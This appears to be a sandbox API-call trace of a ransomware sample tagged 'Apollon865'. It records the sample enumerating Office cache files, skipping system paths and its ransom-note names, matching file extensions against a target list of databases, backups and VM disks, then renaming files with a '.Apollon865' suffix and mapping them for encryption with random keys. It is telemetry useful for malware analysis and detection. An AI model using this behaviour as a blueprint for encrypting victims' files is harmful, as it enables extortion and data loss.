	[0077.714] lstrlenW (lpString="nv") returned 2
	[0077.714] lstrcmpiW (lpString1="si", lpString2="nv") returned 1
	[0077.714] lstrlenW (lpString="nv2") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="nv2") returned -1
	[0077.714] lstrlenW (lpString="nwdb") returned 4
	[0077.714] lstrcmpiW (lpString1=".msi", lpString2="nwdb") returned -1
	[0077.714] lstrlenW (lpString="nyf") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="nyf") returned -1
	[0077.714] lstrlenW (lpString="odb") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.714] lstrlenW (lpString="odb") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="odb") returned -1
	[0077.714] lstrlenW (lpString="oqy") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="oqy") returned -1
	[0077.714] lstrlenW (lpString="ora") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="ora") returned -1
	[0077.714] lstrlenW (lpString="orx") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="orx") returned -1
	[0077.714] lstrlenW (lpString="owc") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="owc") returned -1
	[0077.714] lstrlenW (lpString="p96") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="p96") returned -1
	[0077.714] lstrlenW (lpString="p97") returned 3
	[0077.714] lstrcmpiW (lpString1="msi", lpString2="p97") returned -1
	[0077.714] lstrlenW (lpString="pan") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="pan") returned -1
	[0077.715] lstrlenW (lpString="pdb") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="pdb") returned -1
	[0077.715] lstrlenW (lpString="pdm") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="pdm") returned -1
	[0077.715] lstrlenW (lpString="pnz") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="pnz") returned -1
	[0077.715] lstrlenW (lpString="qry") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="qry") returned -1
	[0077.715] lstrlenW (lpString="qvd") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="qvd") returned -1
	[0077.715] lstrlenW (lpString="rbf") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="rbf") returned -1
	[0077.715] lstrlenW (lpString="rctd") returned 4
	[0077.715] lstrcmpiW (lpString1=".msi", lpString2="rctd") returned -1
	[0077.715] lstrlenW (lpString="rod") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="rod") returned -1
	[0077.715] lstrlenW (lpString="rodx") returned 4
	[0077.715] lstrcmpiW (lpString1=".msi", lpString2="rodx") returned -1
	[0077.715] lstrlenW (lpString="rpd") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="rpd") returned -1
	[0077.715] lstrlenW (lpString="rsd") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="rsd") returned -1
	[0077.715] lstrlenW (lpString="sas7bdat") returned 8
	[0077.715] lstrcmpiW (lpString1="sMUI.msi", lpString2="sas7bdat") returned 1
	[0077.715] lstrlenW (lpString="sbf") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="sbf") returned -1
	[0077.715] lstrlenW (lpString="scx") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="scx") returned -1
	[0077.715] lstrlenW (lpString="sdb") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="sdb") returned -1
	[0077.715] lstrlenW (lpString="sdc") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="sdc") returned -1
	[0077.715] lstrlenW (lpString="sdf") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="sdf") returned -1
	[0077.715] lstrlenW (lpString="sis") returned 3
	[0077.715] lstrcmpiW (lpString1="msi", lpString2="sis") returned -1
	[0077.715] lstrlenW (lpString="spq") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="spq") returned -1
	[0077.716] lstrlenW (lpString="te") returned 2
	[0077.716] lstrcmpiW (lpString1="si", lpString2="te") returned -1
	[0077.716] lstrlenW (lpString="teacher") returned 7
	[0077.716] lstrcmpiW (lpString1="MUI.msi", lpString2="teacher") returned -1
	[0077.716] lstrlenW (lpString="tmd") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="tmd") returned -1
	[0077.716] lstrlenW (lpString="tps") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="tps") returned -1
	[0077.716] lstrlenW (lpString="trc") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.716] lstrlenW (lpString="trc") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="trc") returned -1
	[0077.716] lstrlenW (lpString="trm") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="trm") returned -1
	[0077.716] lstrlenW (lpString="udb") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="udb") returned -1
	[0077.716] lstrlenW (lpString="udl") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="udl") returned -1
	[0077.716] lstrlenW (lpString="usr") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="usr") returned -1
	[0077.716] lstrlenW (lpString="v12") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="v12") returned -1
	[0077.716] lstrlenW (lpString="vis") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="vis") returned -1
	[0077.716] lstrlenW (lpString="vpd") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="vpd") returned -1
	[0077.716] lstrlenW (lpString="vvv") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="vvv") returned -1
	[0077.716] lstrlenW (lpString="wdb") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="wdb") returned -1
	[0077.716] lstrlenW (lpString="wmdb") returned 4
	[0077.716] lstrcmpiW (lpString1=".msi", lpString2="wmdb") returned -1
	[0077.716] lstrlenW (lpString="wrk") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="wrk") returned -1
	[0077.716] lstrlenW (lpString="xdb") returned 3
	[0077.716] lstrcmpiW (lpString1="msi", lpString2="xdb") returned -1
	[0077.717] lstrlenW (lpString="xld") returned 3
	[0077.717] lstrcmpiW (lpString1="msi", lpString2="xld") returned -1
	[0077.717] lstrlenW (lpString="xmlff") returned 5
	[0077.717] lstrcmpiW (lpString1="I.msi", lpString2="xmlff") returned -1
	[0077.717] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccessMUI.xml", cAlternateFileName="ACCESS~1.XML")) returned 1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="Apollon865.txt.exe") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".") returned 1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="..") returned 1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="windows") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="bootmgr") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="temp") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="pagefile.sys") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="boot") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ids.txt") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="ntuser.dat") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="perflogs") returned -1
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2="MSBuild") returned -1
	[0077.717] lstrlenW (lpString="AccessMUI.xml") returned 13
	[0077.717] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.msi") returned 89
	[0077.717] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="AccessMUI.xml" | out: lpString1="AccessMUI.xml") returned="AccessMUI.xml"
	[0077.717] lstrlenW (lpString="AccessMUI.xml") returned 13
	[0077.717] lstrlenW (lpString="Apollon865") returned 10
	[0077.717] lstrcmpiW (lpString1="essMUI.xml", lpString2="Apollon865") returned 1
	[0077.717] lstrlenW (lpString=".dll") returned 4
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".dll") returned 1
	[0077.717] lstrlenW (lpString=".lnk") returned 4
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".lnk") returned 1
	[0077.717] lstrlenW (lpString=".ini") returned 4
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".ini") returned 1
	[0077.717] lstrlenW (lpString=".sys") returned 4
	[0077.717] lstrcmpiW (lpString1="AccessMUI.xml", lpString2=".sys") returned 1
	[0077.717] lstrlenW (lpString="AccessMUI.xml") returned 13
	[0077.717] lstrlenW (lpString="bak") returned 3
	[0077.717] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0077.717] lstrlenW (lpString="ba_") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0077.718] lstrlenW (lpString="dbb") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0077.718] lstrlenW (lpString="vmdk") returned 4
	[0077.718] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0077.718] lstrlenW (lpString="rar") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0077.718] lstrlenW (lpString="zip") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0077.718] lstrlenW (lpString="tgz") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0077.718] lstrlenW (lpString="vbox") returned 4
	[0077.718] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0077.718] lstrlenW (lpString="vdi") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0077.718] lstrlenW (lpString="vhd") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0077.718] lstrlenW (lpString="vhdx") returned 4
	[0077.718] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0077.718] lstrlenW (lpString="avhd") returned 4
	[0077.718] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0077.718] lstrlenW (lpString="db") returned 2
	[0077.718] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0077.718] lstrlenW (lpString="db2") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0077.718] lstrlenW (lpString="db3") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0077.718] lstrlenW (lpString="dbf") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0077.718] lstrlenW (lpString="mdf") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0077.718] lstrlenW (lpString="mdb") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0077.718] lstrlenW (lpString="sql") returned 3
	[0077.718] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0077.718] lstrlenW (lpString="sqlite") returned 6
	[0077.718] lstrcmpiW (lpString1="UI.xml", lpString2="sqlite") returned 1
	[0077.718] lstrlenW (lpString="sqlite3") returned 7
	[0077.719] lstrcmpiW (lpString1="MUI.xml", lpString2="sqlite3") returned -1
	[0077.719] lstrlenW (lpString="sqlitedb") returned 8
	[0077.719] lstrcmpiW (lpString1="sMUI.xml", lpString2="sqlitedb") returned -1
	[0077.719] lstrlenW (lpString="xml") returned 3
	[0077.719] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0077.719] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Apollon865") returned 100
	[0077.719] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.720] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.720] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1349) returned 1
	[0077.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.720] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfcd8
	[0077.721] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfd60) returned 1
	[0077.721] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.721] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.721] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x850, lpName=0x0) returned 0x118
	[0077.723] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x850) returned 0x100000
	[0077.724] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfd60) returned 1
	[0077.724] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0077.724] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0077.724] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0077.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0077.724] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0077.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0077.725] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0077.725] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0077.725] CloseHandle (hObject=0x118) returned 1
	[0077.725] CloseHandle (hObject=0xc0) returned 1
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bfcd8 | out: hHeap=0x580000) returned 1
	[0077.725] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3490020 | out: hHeap=0x580000) returned 1
	[0077.725] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3216e900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3216e900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfa64a430, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x1ab7e94, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AccLR.cab", cAlternateFileName="")) returned 1
	[0077.725] lstrcmpiW (lpString1="AccLR.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0077.725] lstrcmpiW (lpString1="AccLR.cab", lpString2="Apollon865.txt.exe") returned -1
	[0077.725] lstrcmpiW (lpString1="AccLR.cab", lpString2=".") returned 1
	[0077.725] lstrcmpiW (lpString1="AccLR.cab", lpString2="..") returned 1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="windows") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="bootmgr") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="temp") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="pagefile.sys") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="boot") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="ids.txt") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="ntuser.dat") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="perflogs") returned -1
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2="MSBuild") returned -1
	[0077.726] lstrlenW (lpString="AccLR.cab") returned 9
	[0077.726] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0077.726] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="AccLR.cab" | out: lpString1="AccLR.cab") returned="AccLR.cab"
	[0077.726] lstrlenW (lpString="AccLR.cab") returned 9
	[0077.726] lstrlenW (lpString="Apollon865") returned 10
	[0077.726] lstrlenW (lpString=".dll") returned 4
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2=".dll") returned 1
	[0077.726] lstrlenW (lpString=".lnk") returned 4
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2=".lnk") returned 1
	[0077.726] lstrlenW (lpString=".ini") returned 4
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2=".ini") returned 1
	[0077.726] lstrlenW (lpString=".sys") returned 4
	[0077.726] lstrcmpiW (lpString1="AccLR.cab", lpString2=".sys") returned 1
	[0077.726] lstrlenW (lpString="AccLR.cab") returned 9
	[0077.726] lstrlenW (lpString="bak") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0077.726] lstrlenW (lpString="ba_") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0077.726] lstrlenW (lpString="dbb") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0077.726] lstrlenW (lpString="vmdk") returned 4
	[0077.726] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0077.726] lstrlenW (lpString="rar") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0077.726] lstrlenW (lpString="zip") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0077.726] lstrlenW (lpString="tgz") returned 3
	[0077.726] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0077.727] lstrlenW (lpString="vbox") returned 4
	[0077.727] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0077.727] lstrlenW (lpString="vdi") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0077.727] lstrlenW (lpString="vhd") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0077.727] lstrlenW (lpString="vhdx") returned 4
	[0077.727] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0077.727] lstrlenW (lpString="avhd") returned 4
	[0077.727] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0077.727] lstrlenW (lpString="db") returned 2
	[0077.727] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0077.727] lstrlenW (lpString="db2") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0077.727] lstrlenW (lpString="db3") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0077.727] lstrlenW (lpString="dbf") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0077.727] lstrlenW (lpString="mdf") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0077.727] lstrlenW (lpString="mdb") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0077.727] lstrlenW (lpString="sql") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0077.727] lstrlenW (lpString="sqlite") returned 6
	[0077.727] lstrcmpiW (lpString1="LR.cab", lpString2="sqlite") returned -1
	[0077.727] lstrlenW (lpString="sqlite3") returned 7
	[0077.727] lstrcmpiW (lpString1="cLR.cab", lpString2="sqlite3") returned -1
	[0077.727] lstrlenW (lpString="sqlitedb") returned 8
	[0077.727] lstrcmpiW (lpString1="ccLR.cab", lpString2="sqlitedb") returned -1
	[0077.727] lstrlenW (lpString="xml") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0077.727] lstrlenW (lpString="$er") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0077.727] lstrlenW (lpString="4dd") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0077.727] lstrlenW (lpString="4dl") returned 3
	[0077.727] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0077.728] lstrlenW (lpString="^^^") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0077.728] lstrlenW (lpString="abs") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0077.728] lstrlenW (lpString="abx") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0077.728] lstrlenW (lpString="accdb") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accdb") returned 1
	[0077.728] lstrlenW (lpString="accdc") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accdc") returned 1
	[0077.728] lstrlenW (lpString="accde") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accde") returned 1
	[0077.728] lstrlenW (lpString="accdr") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accdr") returned 1
	[0077.728] lstrlenW (lpString="accdt") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accdt") returned 1
	[0077.728] lstrlenW (lpString="accdw") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accdw") returned 1
	[0077.728] lstrlenW (lpString="accft") returned 5
	[0077.728] lstrcmpiW (lpString1="R.cab", lpString2="accft") returned 1
	[0077.728] lstrlenW (lpString="adb") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.728] lstrlenW (lpString="adb") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0077.728] lstrlenW (lpString="ade") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0077.728] lstrlenW (lpString="adf") returned 3
	[0077.728] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0077.729] lstrcpyW (in: lpString1=0x2d3e5e8, lpString2="branding.xml" | out: lpString1="branding.xml") returned="branding.xml"
	[0077.729] lstrlenW (lpString="branding.xml") returned 12
	[0077.729] lstrlenW (lpString="Apollon865") returned 10
	[0077.729] lstrcmpiW (lpString1="anding.xml", lpString2="Apollon865") returned -1
	[0077.729] lstrlenW (lpString=".dll") returned 4
	[0077.729] lstrcmpiW (lpString1="branding.xml", lpString2=".dll") returned 1
	[0077.729] lstrlenW (lpString=".lnk") returned 4
	[0077.729] lstrcmpiW (lpString1="branding.xml", lpString2=".lnk") returned 1
	[0077.729] lstrlenW (lpString=".ini") returned 4
	[0077.729] lstrcmpiW (lpString1="branding.xml", lpString2=".ini") returned 1
	[0077.729] lstrlenW (lpString=".sys") returned 4
	[0077.729] lstrcmpiW (lpString1="branding.xml", lpString2=".sys") returned 1
	[0077.729] lstrlenW (lpString="branding.xml") returned 12
	[0077.729] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Apollon865") returned 99
	[0077.729] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.apollon865"), dwFlags=0x1) returned 1
	[0077.730] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.Apollon865" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0xc0
	[0077.730] GetFileSizeEx (in: hFile=0xc0, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=596341) returned 1
	[0077.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3490020
	[0077.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0077.730] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bfcd8
	[0077.730] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bfd60) returned 1
	[0077.731] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0077.731] CryptReleaseContext (hProv=0x5bfd60, dwFlags=0x0) returned 1
	[0077.731] CreateFileMappingW (hFile=0xc0, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x91c80, lpName=0x0) returned 0x118
	[0077.733] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x91c80) returned 0x4d0000
	[0077.761] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bfd60) returned 1
	[0077.762] CryptGenRandom (in: hProv=0x5bfd60, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
